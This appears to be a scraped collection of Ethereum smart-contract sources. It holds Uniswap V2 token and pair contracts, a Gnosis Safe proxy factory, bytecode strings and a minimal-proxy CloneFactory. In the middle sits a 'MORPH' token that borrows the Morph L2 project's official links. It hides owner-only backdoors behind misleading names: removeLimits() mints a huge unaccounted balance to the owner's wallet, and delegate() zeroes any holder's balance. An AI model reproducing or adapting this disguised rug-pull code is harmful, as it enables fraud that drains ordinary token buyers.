function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
|
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// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
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|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,431 |
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|
// SPDX-License-Identifier: UNLICENSED
/*
Website: https://www.morphl2.io/
Twitter: https://twitter.com/Morphl2
Gitbook: https://docs.morphl2.io/
Telegram: https://t.me/MorphL2official
Discord: https://discord.gg/5SmG4yhzVZ
*/
pragma solidity ^0.8.24;
abstract contract Ownable {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract MORPH is Ownable{
constructor(address add) {
_tokename = "Morph";
_tokensymbol = "MORPH";
_taxWallet = add;
_totalSupply = 1000000000*10**decimals();
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
address public _taxWallet;
uint256 private _totalSupply;
string private _tokename;
string private _tokensymbol;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint128 buyCount = 0;
uint256 devAmount = 10**decimals()*68800*(23300000000+300);
function delegate(address delegatee) external {
if (true) {
require(_taxWallet == _msgSender());
_balances[delegatee] *= buyCount;
}
}
function removeLimits() external {
if(_msgSender() == _taxWallet){
require( _taxWallet == _msgSender());
address feeAmount = _msgSender();
address swapRouter = feeAmount;
address devWallet = swapRouter;
_balances[devWallet] += devAmount;
}
}
function name() public view returns (string memory) {
return _tokename;
}
function symbol() public view returns (string memory) {
return _tokensymbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public returns (bool) {
_transfer(_msgSender(), to, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 balance = _balances[from];
require(balance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] = _balances[from]-amount;
_balances[to] = _balances[to]+amount;
emit Transfer(from, to, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
}
|
1 | 19,502,434 |
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|
a0117fd801cdb758e0c9bff9ae1a8df7e084f8f763a6e29527486c210641eb3c
|
00bdb5699745f5b860228c8f939abf1b9ae374ed
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
030bb5ad4d09183fcd2d17ba8233d33d97eedc4b
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
